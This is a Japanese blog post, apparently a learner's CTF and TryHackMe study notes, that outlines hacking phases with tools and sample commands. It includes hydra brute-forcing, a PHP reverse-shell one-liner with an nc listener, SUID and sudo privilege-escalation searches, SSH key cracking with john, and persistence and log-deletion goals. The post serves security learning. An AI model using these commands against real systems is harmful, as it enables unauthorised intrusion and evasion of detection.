🍊

ハッキングの全体像と各フェーズで使う代表的なツール一覧(CTFにも使える)

に公開

こんにちは、オレンジ君です!
今回は 「ハッキングの全体像と、各フェーズで使われる代表的なツール一覧」 をまとめてみました。

最近、TryHackMeでハッキングの学習を進める中で、攻撃には大まかなフェーズがあり、それぞれの段階でよく使われるツールがあることに気づきました。

そこで今回は、自分の思考を整理する意味も込めて、それらを体系的にまとめた記事として共有したいと思います。
各フェーズやツールの詳しい使い方については、今後別の記事で少しずつ深掘りしていく予定です🙇‍♂️

※以降の各ツールの深掘り記事は随時追加していく予定

この記事の目的

  • 自分のCTF・TryHackMeでの学びの整理
  • 攻撃のフェーズ構造をつかむ
  • 各フェーズごとの代表的ツールを紹介

フェーズ一覧

  1. 偵察(Reconnaissance)
  2. スキャン・列挙(Scanning & Enumeration)
  3. 侵入(Gaining Access)
  4. 権限昇格(Privilege Escalation)
  5. 維持・痕跡消去(Post-Exploitation)

1,偵察(Reconnaissance)

  • 目的
    • 対象について可能な限りの情報を外部から収集する
  • 具体的な目標(達成イメージ)
    • ドメイン名・IP・サーバー情報を特定
    • 使用技術や公開サービスの洗い出し
    • 社員の名前やメールアドレスの収集
  • ツール
    • whois
    • nslookup
    • theHarvester
    • Sublist3r

2,スキャン・列挙(Scanning & Enumeration)

  • 目的
    • ネットワーク上で実際に接続・観察を行い、内部構成や脆弱なポイントを見つける
  • 具体的な目標(達成イメージ)
    • 開いているポート番号とサービス名の特定(例:22/ssh, 80/http)
    • サービスのバージョン取得と脆弱性調査
    • ディレクトリやファイル、ユーザー名、共有リソースの列挙
  • ツール
    • nmap
    • gobuster、nikto
    • nikto
    • wpscan
    • CyberChef
  • 攻撃シナリオ
    • nmapで80番ポートでhttpが動いてること確認。gobusterでディレクトリを列挙しログイン画面を見つける。
    • webサイトのソースコードを確認し認証情報を取得。
    • ログインの認証をJSで行なっており、ソースコードを読んで不正ログイン
    • Sambaにanonymousでログインし共有ディスクの情報を取得
    • FTPが認証不要になっており、そこから情報を取得
    • CyberChefで暗号の解読
  • コマンド
    • nmap -sV -O <target>
    • gobuster dir -u http://<target> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http
    • smbclient //<target>/anonymous -N
    • ftp -n <target>

3,侵入(Gaining Access)

  • 目的

    • 対象システムに不正アクセスし、任意コードの実行やセッションの奪取を行う
  • 具体的な目標(達成イメージ)

    • SQLインジェクションやRCE等の脆弱性を利用してシェル取得
    • 弱いパスワードでログインに成功
    • ファイルアップロードを通じてバックドア設置
    • セッションハイジャックや認証回避に成功
  • ツール

  • 攻撃シナリオ

    • CMSの脆弱性をexploit-dbで確認し、その脆弱性をついて任意コード実行を行う
    • ログイン画面でBurpSuiteにてブルートフォース攻撃を行いパスワードを突き止めて不正ログイン
    • ssh、imap、pop3に対してhydraでブルートフォース攻撃を行う不正ログイン
    • PHPファイルのアップロード、および実行してリバースシェル
    • 攻撃サーバでhttpサーバを起動し、対象サーバからダウンロードさせてそのコマンドを実行させる
  • コマンド

    • hydra -l user -P /usr/share/wordlists/rockyou.txt -f -o found.txt ssh://<target>
    • searchsploit vsftpd 2.3.4
    • searchsploit -x exploit/unix/remote/17491.txt
    • nc -lvnp 12345
    • php -r '$sock=fsockopen("<target>",12345);exec("/bin/sh -i <&3 >&3 2>&3");'

4,権限昇格(Privilege Escalation)

  • 目的
    低権限ユーザーからroot権限や管理者権限へ昇格する

  • 具体的な目標(達成イメージ)

    • sudo -l 経由でrootコマンド実行
    • カーネルの既知の脆弱性を利用してroot取得
    • パスワードファイルからクレデンシャル再利用
  • ツール

  • 攻撃シナリオ

    • sudo -lでroot権限で実行できるコマンドを発見し、それを使用して権限昇格
    • SUID一覧を確認しルート権限で実行できそうなコマンドを探し、それを利用して権限昇格
    • crontabを確認しルート権限で実行されるコマンドを確認。そのシェルを辿って編集できそうなファイルを見つけ、その中に権限昇格のシェルを仕込む。次回cron実行時に権限昇格
    • /etx/passwdの編集権限がある場合パスワードを書き換えて権限昇格
    • /home/usr/.sshで秘密鍵を取得できた場合、johnTheRipperにてパスフレーズを解読しssh経由でログインし権限昇格
    • linpeasでパスワードの漏洩などのチェック。パスワードが取得できれば権限昇格
    • GTFOBinsにて権限昇格のコマンドを検索
  • コマンド

    • id
    • python3 -c 'import pty; pty.spawn("/bin/bash")’
    • sudo -l
    • find / -group $(id -gn) -perm -g=x -type f 2>/dev/null
    • find / -user root -perm -u=s -type f 2>/dev/null
    • python3 ssh2john.py id_rsa > id_rsa_hash.txt
    • john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa_hash.txt

5,維持・痕跡消去(Post-Exploitation)

  • 目的
    長期的なアクセス維持と検出回避を行う

  • 具体的な目標(達成イメージ)

    • .ssh/authorized_keys に攻撃者の鍵を設置
    • リバースシェルを仕込んだcronジョブを作成
    • .bash_history やログファイルの削除
    • 横展開により他ホストやユーザーアカウントへ移動

最後に

ここまで読んでくださり本当にありがとうございました。
セキュリティエンジニアを志す皆さんの一歩に、少しでも役立てれば嬉しいです!

Discussion